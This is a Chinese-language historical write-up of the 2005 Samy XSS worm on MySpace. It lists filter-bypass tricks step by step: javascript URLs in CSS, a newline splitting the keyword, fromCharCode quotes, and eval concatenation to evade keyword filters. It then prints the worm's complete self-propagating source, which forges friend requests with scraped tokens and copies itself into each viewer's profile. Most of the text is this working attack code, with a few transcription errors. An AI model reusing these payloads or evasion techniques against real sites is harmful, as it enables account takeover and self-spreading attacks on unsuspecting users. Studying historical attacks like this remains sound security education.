在2005 年,年仅19 岁的Samy Kamkar 发起了对MySpac巳.com 的XSS Worm 攻击。Samy Kamkar 的蠕虫在短短几小时内就感染了100 万用户一一它在每个用户的自我简介后边加了一句话"but most of all, Samy is my hero." (Samy 是我的偶像〉。这是Web 安全史上第一个重量级的XSS Worm ,具有里程碑意义。
以下为根据对Samy Worm分析的文章进行的格式整理,方便阅读:
- MySpace 过滤了很多危险的HTML 标签,只保留了<a>标签、<img>标签、<div>标签等"安全的标签"。所有的事件比如" onclick" 等也被过滤了。但是MySpace 却允许用户控制标签的style 属性,通过style ,还是有办法构造出XSS 的。比如:
<div style-"background:url('javascript:alert(l) ')">
- 由于在div标签中,我们已经使用了单引号和双引号,所以我们不能再在语句中使用引号。这使得编写js变得非常困难。为了能绕过它,我们使用了表达式存放js并且使用名字来执行它。例如:
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
- 现在我们可以使用单引号来写javascript了。然而myspace网中到处都会过滤"javascript"。 由于一些浏览器自动会把"java\nscript"(java和script间是换行符)当作"javascript" ,因此可以饶过这个问题。如:
<div id="mycode" expr="alert('hah!')" style="background:url('java
script:eval(document.all.mycode.expr)')">
- 尽管我们已经能使用单引号了,但有时候我们还是需要双引号。我们可以使用转义字符, 例如, “foo"bar”. Myspace也考虑到了这一点…,他们过滤了所有的引号,不管它是单引号还是双引号。然而, 我们可以通过在javascript转换十进制为来生成引号。
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">
- 为了能把这些代码放到浏览的用户的profile中,我们需要得到这个页面的源码。嗯, 为了取得页面的源码,我们可以使用document.body.innerHTML,只需要取得访问此页面用户的ID即可。 Myspace 又一次考虑到了这些,他们在所有的地方都过滤了"innerHTML"。 为了饶过这个限制,我们使用eval() 把两个字符串拼成"innerHTML"。如:
alert(eval('document.body.inne' + 'rHTML'));
- 是时候访问其他页面了。我们可以使用iframes, 然而一般情况下,就算是隐藏的iframes也比较明显,但效果却不尽如人意。 因此,为了在客户端发送HTTP的GET和POST请求,我们使用AJAX (XML-HTTP)。 然而, myspace又过滤了XML-HTTP请求中必须的"onreadystatechange" 。 我们又一次使用eval来避开检查。
eval('xmlhttp.onread' + 'ystatechange = callback');
- 是时候在发请求取得用户的关注对象了,我们不想删除任何的关注对象,我们只想把我加到关注的列表中。 如果我们能取得profile就能稍后取得他的关注列表。通过上面列举的内容,我们很容易找到用户的ID.如同我们上面说的那样,我们能通过抓取页面上的源码来取得。然而, 现在我们需要搜索页面中的关键字,但是当我们搜索的时候,一直会返回true,比如说,我们想查页面中有没有包含’foo’,因为我们使用了这个单词,所以一直会返回true,解决的办法就是再用eval来构造,如:
var index = html.indexOf('frien' + 'dID');
- 此时我们已经有了关注的列表了。首先,让我们把我通过添加好友的页面中发post讲求,把我加到好友列表中。 什么?没起作用?!为什么呢?(跨域问题) 因为我们在profile.myspace.com页面上,而它需要在www.myspace.com上起作用。没什么大不了的, 只是 XML-HTTP不允许来自不同域的GET/POST。 为了解决这个问题,我们在 www.myspace.com域上使用相同URL就可以了。如:
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
- 终于,我们可以发POST请求了。然而,我们发了请求,却没有加为好友,为什么呢?Myspace在每个发post请求的页面中产生了一个随机的hash (例如, “您确认添加此人为好友吗?” 页面). 如果没有在发post请求的时候带上hash,这个post便不会成功. 为了解决这个问题, 我们在发post请求之前,模仿浏览器发一个get请求,并把源文件转成hash,和post请求一起发送。
- 一旦post请求完成了,我们添加一个关注者并把代码添加到页面中。由于代码请求完成后,又会回到原来的页面,而发请求又需要不同的hash值,所以我们需要再发一个Get请求,根据之后得到的页面,再生成一次hash,不过,有时候URL-encoding和escape()并不一定能对所有的数据都进行转义,所以我们需要自己手工完成。
- 其他的限制,如最大长度,这就需要紧凑的代码,没有多余的空格、模糊的名字、可征用的函数等。
源码
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')"
expr="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g()
{
var C;
try
{
var D=document.body.createTextRange();
C=D.htmlText
}
catch(e){}
if(C)
{
return C
}
else
{
return eval('document.body.inne'+'rHTML')
}
}
function getData(AU)
{
M=getFromURL(AU,'friendID');
L=getFromURL(AU,'Mytoken')
}
function getQueryParams()
{
var E=document.location.search;
var F=E.substring(1,E.length).split('&');
var AS=new Array();
for(var O=0;O<F.length;O++)
{
var I=F[O].split('=');
AS[I[0]]=I[1]
}
return AS
}
var J;
var AS=getQueryParams();
var L=AS['Mytoken'];
var M=AS['friendID'];
if(location.hostname=='profile.myspace.com')
{
document.location='http://www.myspace.com'+location.pathname+location.search
}
else
{
if(!M)
{
getData(g())
}
main()
}
function getClientFID()
{
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing() {}
function paramsToString(AV)
{
var N=new String();
var O=0;
for(var P in AV)
{
if(O>0)
{
N+='&'
}
var Q=escape(AV[P]);
while(Q.indexOf('+')!=-1)
{
Q=Q.replace('+','%2B')
}
while(Q.indexOf('&')!=-1)
{
Q=Q.replace('&','%26')
}
N+=P+'='+Q;
O++
}
return N
}
function httpSend(BH,BI,BJ,BK)
{
if(!J)
{return false}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if(BJ=='POST')
{
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
function findIn(BF,BB,BC)
{
var R=BF.indexOf(BB)+BB.length;
var S=BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))
}
function getHiddenParameter(BF,BG)
{
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
function getFromURL(BF,BG)
{
var T;
if(BG=='Mytoken')
{T=B}
else
{T='&'}
var U=BG+'=';
var V=BF.indexOf(U)+U.length;
var W=BF.substring(V,V+1024);
var X=W.indexOf(T);
var Y=W.substring(0,X);
return Y
}
function getXMLObj()
{
var Z=false;
if(window.XMLHttpRequest)
{
try
{
Z=new XMLHttpRequest()
}
catch(e)
{Z=false}
}
else if(window.ActiveXObject)
{
try{
Z=new ActiveXObject('Msxml2.XMLHTTP')
}
catch(e)
{
try
{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e)
{
Z=false
}
}
}
return Z
}
var AA=g();
var AB=AA.indexOf('m'+'ycode');
var AC=AA.substring(AB,AB+4096);
var AD=AC.indexOf('D'+'IV');
var AE=AC.substring(0,AD);
var AF;
if(AE)
{
AE=AE.replace('jav'+'a',A+'jav'+'a');
AE=AE.replace('exp'+'r)','exp'+'r)'+A);
AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;
function getHome()
{
if(J.readyState!=4)
{return}
var AU=J.responseText;
AG=findIn(AU,'P'+'rofileHeroes','</td>');
AG=AG.substring(61,AG.length);
if(AG.indexOf('samy')==-1)
{
if(AF)
{
AG+=AF;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Preview';
AS['interest']=AG;
J=getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
}
}
}
function postHero()
{
if(J.readyState!=4)
{return}
var AU=J.responseText;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();AS['interestLabel']='heroes';
AS['submit']='Submit';
AS['interest']=AG;
AS['hash']=getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function main()
{
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}
function processxForm()
{
if(xmlhttp2.readyState!=4)
{return}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK)
{
if(!xmlhttp2)
{
return false}eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if(BJ=='POST')
{
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
}
xmlhttp2.send(BK);
return true
} "></DIV>